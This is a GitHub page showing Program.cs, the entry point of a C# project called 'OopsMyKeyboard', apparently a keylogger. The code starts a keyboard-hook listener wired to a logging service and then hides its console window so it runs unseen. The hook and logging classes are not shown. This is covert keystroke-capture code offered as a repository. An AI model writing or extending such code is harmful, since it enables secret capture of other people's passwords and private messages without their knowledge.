-
Notifications
You must be signed in to change notification settings - Fork 0
/
Program.cs
35 lines (27 loc) · 909 Bytes
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
using OopsMyKeyboard.Service;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace OopsMyKeyboard
{
class OopsMyKeyboard
{
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
public static void Main()
{
string path = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), @"cfg.json");
var cfg = new ConfigurationService(path).Load();
var logService = new LogService(cfg);
var listener = new KeyboardListener(logService);
listener.Listen();
ShowWindow(GetConsoleWindow(), 0);
Application.Run();
listener.UnhookWindowsHook();
}
}
}